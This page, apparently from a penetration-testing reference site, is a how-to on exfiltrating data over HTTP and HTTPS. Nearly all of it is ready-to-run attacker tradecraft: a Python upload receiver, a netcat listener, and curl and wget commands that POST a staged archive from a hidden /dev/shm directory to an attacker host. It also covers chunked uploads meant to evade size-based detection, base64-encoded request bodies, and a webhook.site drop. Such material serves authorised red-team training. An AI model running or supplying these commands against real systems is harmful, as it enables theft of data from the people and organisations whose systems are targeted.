Skip to content
HackIndex logo

HackIndex

Data Exfiltration over HTTP and HTTPS

3 min read Apr 24, 2026

HTTP and HTTPS exfiltration works when SSH is blocked but outbound web traffic is permitted — common in environments with egress filtering that allows port 80 and 443. HTTPS blends with normal browsing and application traffic and is rarely inspected at the content level. You need a receiver on your attacker machine: a netcat listener, a Python HTTP server with upload support, or a simple web application endpoint.

Stage and compress data before transferring. See Staging and Compressing Data for Exfiltration.

Setting Up a Receiver

The simplest receiver is a Python HTTP server with upload support. Save this on your attacker machine and run it:

import http.server, os

class UploadHandler(http.server.BaseHTTPRequestHandler):
    def do_POST(self):
        length = int(self.headers['Content-Length'])
        data = self.rfile.read(length)
        fname = self.path.strip('/')
        open(fname or 'upload', 'wb').write(data)
        self.send_response(200)
        self.end_headers()
    def log_message(self, *a): pass

http.server.HTTPServer(('0.0.0.0', $LPORT), UploadHandler).serve_forever()

Alternatively, use netcat to catch a raw POST body:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT > received_file

curl — POST File Upload

Upload a binary file:

┌──(kali㉿kali)-[~]
└─$ curl -s -X POST http://$LHOST:$LPORT/archive.tar.gz --data-binary @/dev/shm/.work/archive.tar.gz

With a custom header to pass metadata:

┌──(kali㉿kali)-[~]
└─$ curl -s -X POST http://$LHOST:$LPORT/ -H "X-Filename: archive.tar.gz" --data-binary @/dev/shm/.work/archive.tar.gz

Over HTTPS — if your receiver has a self-signed certificate:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST https://$LHOST:$LPORT/ --data-binary @/dev/shm/.work/archive.tar.gz

-k skips certificate verification.

curl — Multipart Form Upload

Some receivers expect multipart form data:

┌──(kali㉿kali)-[~]
└─$ curl -s -F "file=@/dev/shm/.work/archive.tar.gz" http://$LHOST:$LPORT/upload

wget — POST Upload

wget supports POST but is less flexible than curl for binary uploads. Use it when curl is absent:

┌──(kali㉿kali)-[~]
└─$ wget -q --post-file=/dev/shm/.work/archive.tar.gz http://$LHOST:$LPORT/upload -O /dev/null

Chunked Transfer for Large Files

Split the archive before sending to avoid triggering size-based detection or hitting upload limits:

┌──(kali㉿kali)-[~]
└─$ split -b 2M /dev/shm/.work/archive.tar.gz /dev/shm/.work/chunk_
┌──(kali㉿kali)-[~]
└─$ for chunk in /dev/shm/.work/chunk_*; do
curl -s -X POST http://$LHOST:$LPORT/$(basename $chunk) --data-binary @$chunk
done

Reassemble on the attacker machine:

┌──(kali㉿kali)-[~]
└─$ cat chunk_aa chunk_ab chunk_ac > archive.tar.gz

Base64 Encoding in the Request Body

When the receiver only accepts text — a web application endpoint, a form field, an API — encode first:

┌──(kali㉿kali)-[~]
└─$ curl -s -X POST http://$LHOST:$LPORT/ --data "data=$(base64 -w 0 /dev/shm/.work/archive.tar.gz)"

-w 0 disables line wrapping. Decode on the receiving end:

┌──(kali㉿kali)-[~]
└─$ echo '<BASE64>' | base64 -d > archive.tar.gz

Using an External Service as a Drop

When your attacker machine is not directly reachable, use an intermediary. Paste services, file hosts, and webhook services can all act as drops — but avoid sending sensitive credential material to third-party infrastructure in real engagements. This approach is useful in lab environments or when using a controlled intermediary.

┌──(kali㉿kali)-[~]
└─$ curl -s -X POST https://webhook.site/<your-uuid> --data-binary @/dev/shm/.work/archive.tar.gz

Checking Egress Before Transferring

Confirm outbound HTTP/HTTPS is permitted from the target before committing to this channel:

┌──(kali㉿kali)-[~]
└─$ curl -s --max-time 5 http://$LHOST:$LPORT/test

If no response, the port is blocked. Try 443 or 8080 next.

References